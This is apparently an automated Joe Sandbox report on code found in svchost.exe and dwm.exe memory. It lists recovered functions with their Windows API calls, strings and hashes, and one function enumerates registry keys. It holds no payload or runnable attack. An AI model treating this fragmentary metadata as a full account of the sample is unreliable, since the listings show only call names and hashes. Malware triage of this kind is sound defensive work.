String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 9bf27a7e66860d5ed9a1e4fc62765c01fea6d54f0cf7a99623ebd25812deed3f
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: FFF01C75715F8882FB158F97B92419967E2AB48FD1F089131EE4A67F28DF3CC4868710

Function 00000195DD5CBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000195DD5CBCBD
GetProcAddress.KERNEL32 ref: 00000195DD5CBCD3
FreeLibrary.KERNEL32 ref: 00000195DD5CBCFA

Strings

mscoree.dll, xrefs: 00000195DD5CBCB4
CorExitProcess, xrefs: 00000195DD5CBCCC

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 6fff49532d995f645c10438cf692a88e56ff7661239a114b43dcc12d8e254882
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 9BF09675311F0981EF118BA8E46439963E2EB857A1F540219CA6A56BE4DF3CC546C310

Function 00000195DD5C50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5156

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: a3c0edd0877988b553c5cb3f44ac1cf59b63286ea202ec1d8159712ba189bc8b
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 7402A83221AB8486E761CB99E4A479EB7E1F3C4794F104115EA8E97FA9DF7CC484CB00

Function 00000195DD5C5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5726

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: c54ef34d66bd00901bd8adbac774be78d0448155a515a9e92ef6434a46babdc8
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 5561EB3661AF48C6E761DB9AE46475AB7E2F388784F500115EA8E97FA8DB7CC440CF40

Function 00000195DD5D4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000195DD5D412C
_set_statfp.LIBCMT ref: 00000195DD5D4147
_set_statfp.LIBCMT ref: 00000195DD5D4163
_set_statfp.LIBCMT ref: 00000195DD5D419F

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 4f18cf734432864d1cadb05385a9f61388192ac32121d651ae8f93e19ceaa8fb
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 38115132A10F9131FB6615E8D4763E611DB6B683F8F180724A97636FD68A24C8414721

Function 00000195DD5A3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000195DD5A352C
_set_statfp.LIBCMT ref: 00000195DD5A3547
_set_statfp.LIBCMT ref: 00000195DD5A3563
_set_statfp.LIBCMT ref: 00000195DD5A359F

Memory Dump Source

Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 33dfdcfffdc3893784a7b309723e3667eaa1db39b5b3fd1c14ced88943099ce3
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0111E332A10F3141FBA691ECE4753E91AC36F5C37CF49A638A96626ED6CA2CF8405700

Function 00000195DD59F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000195DD59F124

Strings

Tuesday, xrefs: 00000195DD59F0F4
Wednesday, xrefs: 00000195DD59F1ED
or copy constructor iterator', xrefs: 00000195DD59F25A, 00000195DD59F275

Memory Dump Source

Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: e363e31868ba0ebea0856da9f2af10226048556fbf55e11a4800ee541c068533
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3261D53A600E40C2FB6BCBE4E9703EE2AE3E785780F554415CA5A37FA4DB34D8499B40

Function 00000195DD5CAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000195DD5CAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000195DD5CAAB7

Strings

RCC, xrefs: 00000195DD5CAA85
MOC, xrefs: 00000195DD5CAA7C

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 10fc382da7d13d8ad43a4db652bb922ee3acc66b14bf34360ded925820cce3ee
Instruction ID: 14cf2eee4fbcc911eae32f8475549afe507b7b7c46814838016a04d8a23f088c
Opcode Fuzzy Hash: 10fc382da7d13d8ad43a4db652bb922ee3acc66b14bf34360ded925820cce3ee
Instruction Fuzzy Hash: DD614932602A888AEB21DFA9D4503DD7BE2F354B8CF045215EF4967B98DB39D595C700

Function 00000195DD5CAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5CADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000195DD5CAE88

Strings

csm, xrefs: 00000195DD5CADC2
csm, xrefs: 00000195DD5CAEDA

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 2a90534c08ec7fa08356974faa6f23fad74bcd69915b4cf882117b33a0582183
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A451E076101B88CAEB768FA994A43D87BE2F355B85F184116DA89E7FD5CB39C490CB00

Function 00000195DD59A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD59A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000195DD59A288

Strings

csm, xrefs: 00000195DD59A1C2
csm, xrefs: 00000195DD59A2DA

Memory Dump Source

Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 630a7bd136e047a971954e7c30b8e6e87b54a1208c2d6339fb40a23e9a14be36
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 9351AA32100B80CAEF768BA5946439877E2F355BC4F189216DB99A7FD5CB3AD490CF10

Function 00000195DD598405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD598413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5984A8

Strings

f, xrefs: 00000195DD598426
csm, xrefs: 00000195DD59848E

Memory Dump Source

Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 545615c7cb5cd5622a5ac668a3e3931a1a855b43902fdb1261379489e8260ddb
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 5F51D132701A00DBEB56CF55E464B983BEAF354BA8F548164DA1A67B88EB35D844CF04

Function 00000195DD5983E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD598413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5984A8

Strings

f, xrefs: 00000195DD598426
csm, xrefs: 00000195DD59848E

Memory Dump Source

Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 1a57b68ce290c85dbce40ecbe3ad1d13c9711456f6542ae40eb2b2b77e126871
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 1F31DF32201B40EAE716DF61E864B997BEAF744BD8F058054EE5B67F88DB39D940CB04

Function 00000195DD5D2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000195DD5D20D7
WriteFile.KERNEL32 ref: 00000195DD5D239F
WriteFile.KERNEL32 ref: 00000195DD5D23E5
GetLastError.KERNEL32 ref: 00000195DD5D249B

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0727f7ca33ebfc9b04e52b4205dc7bd87cee8483e25baa6158969cd42837b0ef
Instruction ID: f53c85bc1b1823a42c19dddbaacf5ef3270f7fc8b13c31205dca382023514cf5
Opcode Fuzzy Hash: 0727f7ca33ebfc9b04e52b4205dc7bd87cee8483e25baa6158969cd42837b0ef
Instruction Fuzzy Hash: 84D1FE32B15A8089E712CFB9D4607EC3BF2F755BA8F008216DE5AA7F99DA34C406C350

Function 00000195DD5C14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C14C5
HeapFree.KERNEL32 ref: 00000195DD5C14D4
GetProcessHeap.KERNEL32 ref: 00000195DD5C14E1
HeapFree.KERNEL32 ref: 00000195DD5C14F0
GetProcessHeap.KERNEL32 ref: 00000195DD5C1500

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: c16a99b6eb882b57aedd9fd2cb972f0c73c4406802b17b7f20f8a29f0fc28702
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 45015A32601F99D6E705DFE6E95418A77E2FB89F81F044425EA4A63B29DE38C052C750

Function 00000195DD5D2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000195DD5D2A9C
GetLastError.KERNEL32 ref: 00000195DD5D2B27

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: e05ebd15e7bb07455586a63994cd1edc3763a212bc928c3d69a32a164f643882
Instruction ID: d41248d40368a7dadbb8de4372f2d467b08f8f1214df69f873c535610b2736e1
Opcode Fuzzy Hash: e05ebd15e7bb07455586a63994cd1edc3763a212bc928c3d69a32a164f643882
Instruction Fuzzy Hash: 1D91CE32704E5499F7629FA994A0BED3BE2F754B88F144109DE4A77F98DB74C882C720

Function 00000195DD5C7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000195DD5C798C
GetCurrentThreadId.KERNEL32 ref: 00000195DD5C799A
GetCurrentProcessId.KERNEL32 ref: 00000195DD5C79A6
QueryPerformanceCounter.KERNEL32 ref: 00000195DD5C79B6

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: ef2a4aaacd16aa62e41bbfaf996d134d739e1b6477f4088ce6822e44ce878a86
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 32113C36710F058AEB10DFA0E8643E833E4F719759F440E21DA6D96BA4DF78C1998380

Function 00000195DD5C253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000195DD5C2620
StrCpyW.SHLWAPI ref: 00000195DD5C2639

Strings

\\.\pipe\, xrefs: 00000195DD5C262B

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 4fe0687d80f5d921ad167ff7ab4ce2b7c253e02b66b61a32e3d9e8e186ab893e
Instruction ID: 4b390bd35bc8d7488896d564d2b09490878af5546f8c74a14ac6cebee34a4a91
Opcode Fuzzy Hash: 4fe0687d80f5d921ad167ff7ab4ce2b7c253e02b66b61a32e3d9e8e186ab893e
Instruction Fuzzy Hash: 9371B436301F8986E726DFAD98A47EA77D6F389B84F480026DD09A3F89DE39C545C700

Function 00000195DD599E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000195DD599EB7

Strings

RCC, xrefs: 00000195DD599E85
MOC, xrefs: 00000195DD599E7C

Memory Dump Source

Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 963f06e7ef80a2670a9323d7792bb0635a5f70e1dcd725eb12c0e0c54d3360cc
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F4614636A00B84CAEB22DFA5D4903DD7BE2F349B88F045215EF4927B99DB38D595CB40

Function 00000195DD5C2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000195DD5C2416
StrCpyW.SHLWAPI ref: 00000195DD5C242D

Strings

\\.\pipe\, xrefs: 00000195DD5C2421

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 95bec47cb02d8e9bc4e84beb1c736abe046d6fad30f786d8abc3baa08d9e3a7f
Instruction ID: 6ad79f3c6496f576d1a9b3784531bf2f01e420446c3f4c2c03693f52336387d6
Opcode Fuzzy Hash: 95bec47cb02d8e9bc4e84beb1c736abe046d6fad30f786d8abc3baa08d9e3a7f
Instruction Fuzzy Hash: CB511632206B8982F736DBAEA0B87EA77D3F386740F480125DD49A3F49DA39C505C740

Function 00000195DD5D26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000195DD5D2807
GetLastError.KERNEL32 ref: 00000195DD5D2829

Strings

U, xrefs: 00000195DD5D27B3

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: bf4803890842cdcd72fcab1033f968f229dce80172f82f9c58987f86f410db74
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 3741AF32715B8482EB219FA5E8547EAA7E2F798794F504021EE4D97B98EF3CC441CB50

Function 00000195DD5C94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000195DD5C94F0
RaiseException.KERNEL32 ref: 00000195DD5C9531

Strings

csm, xrefs: 00000195DD5C951E

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: d9ae04a037fab9593d23b185716cfc6ae1853ea009b9f3fd067145c53b8789b8
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 63116A36205F8482EB228F19F450399B7E2FB88B95F584221EE8C57B68DF3CC552CB00

Function 00000195DD597356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000195DD59737C

Strings

riptor at (, xrefs: 00000195DD597364
ierarchy Descriptor', xrefs: 00000195DD597381

Memory Dump Source

Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 9d65062051ba8b6632479c62e9aac4e80b8205db58c6d08c9f87c8cd4192a069
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: E9E08671640F44D4DF028F61E8502D833E1DB58B64F889122995C1A311FA3CD1E9C301

Function 00000195DD5973B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000195DD5973D8

Strings

riptor at (, xrefs: 00000195DD5973C0
Locator', xrefs: 00000195DD5973DD

Memory Dump Source

Source File: 0000001E.00000002.3367280331.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd590000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 73069449200712f0ed9716194b398ac1fb7d2be99278163e9f3c6fe5041c0d1b
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 23E08671600F44D4DF028F61E4501D873E1E758B54F889122D94C1A311EA3CD1E5C300

Function 00000195DD5C1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C1C2D
HeapAlloc.KERNEL32 ref: 00000195DD5C1C3B
GetProcessHeap.KERNEL32 ref: 00000195DD5C1C77
HeapFree.KERNEL32 ref: 00000195DD5C1C85

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: c6ff0b059641438406dd073903249133c4bef50443ea073ae8eca436ca04cd8d
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 96115135612F4881EB56DBEAE4146A977E2FB89FC0F184024DE4DA7B65DF38C452D340

Function 00000195DD5C1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C126E
HeapAlloc.KERNEL32 ref: 00000195DD5C127D
GetProcessHeap.KERNEL32 ref: 00000195DD5C1297
HeapAlloc.KERNEL32 ref: 00000195DD5C12A8

Memory Dump Source

Source File: 0000001E.00000002.3367755434.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 2cb59b5cb5821d9a8e55ce1da8b0343498eb188679990e79d0fc3b99dd601316
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 63E09235601A0886EB058FE2D82838A36E2FB8DF06F04C024C90907751DF7D84DAC760

Analysis Process: dwm.exePID: 992, Parent PID: 6768COMMON

Executed Functions

Function 000001160CA11628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA11633
HeapAlloc.KERNEL32 ref: 000001160CA11642

Part of subcall function 000001160CA11268: GetProcessHeap.KERNEL32 ref: 000001160CA1126E
Part of subcall function 000001160CA11268: HeapAlloc.KERNEL32 ref: 000001160CA1127D
Part of subcall function 000001160CA11268: GetProcessHeap.KERNEL32 ref: 000001160CA11297
Part of subcall function 000001160CA11268: HeapAlloc.KERNEL32 ref: 000001160CA112A8

RegOpenKeyExW.ADVAPI32 ref: 000001160CA116B2
RegOpenKeyExW.ADVAPI32 ref: 000001160CA116DF
RegCloseKey.ADVAPI32 ref: 000001160CA116F9
RegOpenKeyExW.ADVAPI32 ref: 000001160CA11719
RegCloseKey.ADVAPI32 ref: 000001160CA11734
RegOpenKeyExW.ADVAPI32 ref: 000001160CA11754
RegCloseKey.ADVAPI32 ref: 000001160CA1176F
RegOpenKeyExW.ADVAPI32 ref: 000001160CA1178F
RegCloseKey.ADVAPI32 ref: 000001160CA117AA
RegOpenKeyExW.ADVAPI32 ref: 000001160CA117CA
RegCloseKey.ADVAPI32 ref: 000001160CA117E5
RegOpenKeyExW.ADVAPI32 ref: 000001160CA11805
RegCloseKey.ADVAPI32 ref: 000001160CA11820
RegOpenKeyExW.ADVAPI32 ref: 000001160CA11840
RegCloseKey.ADVAPI32 ref: 000001160CA1185B
RegOpenKeyExW.ADVAPI32 ref: 000001160CA1187B
RegCloseKey.ADVAPI32 ref: 000001160CA11896
RegCloseKey.ADVAPI32 ref: 000001160CA118A0

Part of subcall function 000001160CA112BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001160CA11319
Part of subcall function 000001160CA112BC: GetProcessHeap.KERNEL32 ref: 000001160CA11327
Part of subcall function 000001160CA112BC: HeapAlloc.KERNEL32 ref: 000001160CA11338
Part of subcall function 000001160CA112BC: RegEnumValueW.ADVAPI32 ref: 000001160CA11397
Part of subcall function 000001160CA112BC: GetProcessHeap.KERNEL32 ref: 000001160CA113DF
Part of subcall function 000001160CA112BC: HeapAlloc.KERNEL32 ref: 000001160CA113ED
Part of subcall function 000001160CA112BC: GetProcessHeap.KERNEL32 ref: 000001160CA1140A
Part of subcall function 000001160CA112BC: HeapFree.KERNEL32 ref: 000001160CA11418
Part of subcall function 000001160CA112BC: lstrlenW.KERNEL32 ref: 000001160CA11421
